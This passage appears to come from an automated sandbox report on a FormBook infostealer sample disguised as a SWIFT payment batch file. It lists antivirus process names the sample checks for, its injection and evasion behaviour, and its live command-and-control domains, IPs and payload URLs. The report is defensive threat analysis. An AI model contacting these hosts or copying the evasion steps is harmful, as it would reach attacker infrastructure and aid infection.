          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D920C GetLocalTime,4_2_031D920C
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031DB78C GetVersionExA,4_2_031DB78C
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: cmdagent.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: quhlpsvc.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avgamsvr.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: TMBMSRV.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: Vsserv.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avgupsvc.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avgemc.exe
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: MsMpEng.exe

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity Information1
          Scripting          		1
          Valid Accounts          		1
          Native API          		1
          Scripting          		1
          Abuse Elevation Control Mechanism          		1
          Disable or Modify Tools          		OS Credential Dumping1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		2
          Ingress Tool Transfer          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault Accounts1
          Shared Modules          		1
          DLL Side-Loading          		1
          DLL Side-Loading          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory1
          System Network Connections Discovery          		Remote Desktop ProtocolData from Removable Media11
          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAt1
          Valid Accounts          		1
          Valid Accounts          		1
          Abuse Elevation Control Mechanism          		Security Account Manager1
          File and Directory Discovery          		SMB/Windows Admin SharesData from Network Shared Drive2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
          Access Token Manipulation          		3
          Obfuscated Files or Information          		NTDS234
          System Information Discovery          		Distributed Component Object ModelInput Capture113
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script712
          Process Injection          		1
          Software Packing          		LSA Secrets451
          Security Software Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          Timestomp          		Cached Domain Credentials2
          Virtualization/Sandbox Evasion          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          DLL Side-Loading          		DCSync2
          Process Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job221
          Masquerading          		Proc Filesystem1
          Application Window Discovery          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
          Valid Accounts          		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
          Access Token Manipulation          		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
          Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd2
          Virtualization/Sandbox Evasion          		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
          Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task712
          Process Injection          		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545185 Sample: z1SWIFT_MT103_Payment_55201... Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 58 www.zpp-at.xyz 2->58 60 www.specially-smou.xyz 2->60 62 10 other IPs or domains 2->62 76 Suricata IDS alerts for network traffic 2->76 78 Found malware configuration 2->78 80 Malicious sample detected (through community Yara rule) 2->80 84 9 other signatures 2->84 12 cmd.exe 1 2->12         started        signatures3 82 Performs DNS queries to domains with low reputation 60->82 process4 process5 14 x.exe 5 12->14         started        19 extrac32.exe 8 12->19         started        21 conhost.exe 12->21         started        dnsIp6 66 himalayastrek.com 50.116.93.185, 443, 49709, 49710 UNIFIEDLAYER-AS-1US United States 14->66 52 C:\Users\Public\Libraries\joedgvvL.pif, PE32 14->52 dropped 54 C:\Users\Public\Libraries\joedgvvL.cmd, DOS 14->54 dropped 68 Multi AV Scanner detection for dropped file 14->68 70 Machine Learning detection for dropped file 14->70 72 Drops PE files with a suspicious file extension 14->72 74 4 other signatures 14->74 23 joedgvvL.pif 14->23         started        26 cmd.exe 1 14->26         started        56 C:\Users\user\AppData\Local\Temp\x.exe, PE32 19->56 dropped file7 signatures8 process9 signatures10 86 Detected unpacking (changes PE section rights) 23->86 88 Modifies the context of a thread in another process (thread injection) 23->88 90 Maps a DLL or memory area into another process 23->90 92 5 other signatures 23->92 28 explorer.exe 60 1 23->28 injected 32 esentutl.exe 2 26->32         started        35 esentutl.exe 2 26->35         started        37 conhost.exe 26->37         started        39 alpha.pif 2 26->39         started        process11 dnsIp12 64 www.idstream.xyz 178.128.81.239, 57601, 80 DIGITALOCEAN-ASNUS Netherlands 28->64 102 System process connects to network (likely due to code injection or exploit) 28->102 41 cscript.exe 28->41         started        48 C:\Users\Public\alpha.pif, PE32 32->48 dropped 104 Drops PE files to the user root directory 32->104 106 Drops PE files with a suspicious file extension 32->106 108 Drops or copies cmd.exe with a different name (likely to bypass HIPS) 32->108 50 C:\Users\Public\xpha.pif, PE32 35->50 dropped file13 signatures14 process15 signatures16 94 Modifies the context of a thread in another process (thread injection) 41->94 96 Maps a DLL or memory area into another process 41->96 98 Tries to detect virtualization through RDTSC time measurements 41->98 100 Switches to a custom stack to bypass stack traces 41->100 44 cmd.exe 1 41->44         started        process17 process18 46 conhost.exe 44->46         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          z1SWIFT_MT103_Payment_552016_cmd.bat42%ReversingLabsWin32.Trojan.Malcab

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\user\AppData\Local\Temp\x.exe100%Joe Sandbox ML
          C:\Users\Public\Libraries\joedgvvL.pif3%ReversingLabs
          C:\Users\Public\alpha.pif0%ReversingLabs
          C:\Users\Public\xpha.pif0%ReversingLabs
          C:\Users\user\AppData\Local\Temp\x.exe26%ReversingLabsWin32.Infostealer.Tinba

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV0%URL Reputationsafe
          https://api.msn.com:443/v1/news/Feed/Windows?0%URL Reputationsafe
          http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#0%URL Reputationsafe
          https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings0%URL Reputationsafe
          https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew0%URL Reputationsafe
          https://android.notify.windows.com/iOS0%URL Reputationsafe
          https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp0%URL Reputationsafe
          https://api.msn.com/v1/news/Feed/Windows?0%URL Reputationsafe
          http://ocsp.sectigo.com00%URL Reputationsafe
          http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#0%URL Reputationsafe
          http://schemas.micro0%URL Reputationsafe
          https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew0%URL Reputationsafe
          http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl00%URL Reputationsafe
          https://sectigo.com/CPS00%URL Reputationsafe
          https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          himalayastrek.com
          		50.116.93.185
          		truetrue
            		unknown
            www.idstream.xyz
            		178.128.81.239
            		truetrue
              		unknown
              www.zpp-at.xyz
              		unknown
              		unknowntrue
                		unknown
                www.jdhfmq.live
                		unknown
                		unknowntrue
                  		unknown
                  www.ise-bjnh.xyz
                  		unknown
                  		unknowntrue
                    		unknown
                    www.byataltatweer.net
                    		unknown
                    		unknowntrue
                      		unknown
                      www.kimosskrupulslacker.cfd
                      		unknown
                      		unknowntrue
                        		unknown
                        www.ranxxletzz.xyz
                        		unknown
                        		unknowntrue
                          		unknown
                          www.ixedcontainerlogistics.today
                          		unknown
                          		unknowntrue
                            		unknown
                            www.ound-qlhmm.xyz
                            		unknown
                            		unknowntrue
                              		unknown
                              www.acaxtecameralcarers.cfd
                              		unknown
                              		unknowntrue
                                		unknown
                                www.specially-smou.xyz
                                		unknown
                                		unknowntrue
                                  		unknown

                                  Contacted URLs

                                  NameMaliciousAntivirus DetectionReputation
                                  https://himalayastrek.com/stein/233_Lvvgdeojreetrue
                                    		unknown
                                    www.kimosskrupulslacker.cfd/f29s/true
                                      		unknown

                                      URLs from Memory and Binaries

                                      NameSourceMaliciousAntivirus DetectionReputation
                                      http://www.kimosskrupulslacker.cfdexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                        		unknown
                                        http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngFexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		unknown
                                          http://www.acaxtecameralcarers.cfd/f29s/www.ound-qlhmm.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		unknown
                                            http://www.specially-smou.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                              		unknown
                                              https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.zpp-at.xyz/f29s/www.byataltatweer.netexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		unknown
                                                https://word.office.comMexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    http://www.duxrib.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		unknown
                                                      https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameriexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://www.ound-qlhmm.xyz/f29s/www.idstream.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		unknown
                                                          http://www.kimosskrupulslacker.cfd/f29s/www.duxrib.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		unknown
                                                            http://www.byataltatweer.netReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		unknown
                                                              http://www.dnaqm-walk.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		unknown
                                                                http://www.ixedcontainerlogistics.today/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		unknown
                                                                  http://www.byataltatweer.netexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		unknown
                                                                    http://www.jdhfmq.live/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      https://wns.windows.com/eexplorer.exe, 0000000C.00000002.4587065407.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3075011568.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252872203.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2979174181.00000000099AB000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		unknown
                                                                        http://www.duxrib.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          		unknown
                                                                          http://www.acaxtecameralcarers.cfdexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            		unknown
                                                                            http://www.autoitscript.com/autoit3/Jexplorer.exe, 0000000C.00000003.2979507904.000000000C3D9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4593227950.000000000C3FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980518972.000000000C3F9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C39F000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		unknown
                                                                              http://www.iscussion-tjard.xyz/f29s/www.aomei517.topexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		unknown
                                                                                http://www.idstream.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  		unknown
                                                                                  http://www.iscussion-tjard.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://himalayastrek.com:443/stein/233_LvvgdeojreePx.exe, 00000004.00000002.2216401383.0000000000977000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      http://www.ranxxletzz.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        http://www.ise-bjnh.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          http://www.byataltatweer.net/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&ocexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		unknown
                                                                                              https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              • URL Reputation: safe
                                                                                              		unknown
                                                                                              http://www.idstream.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
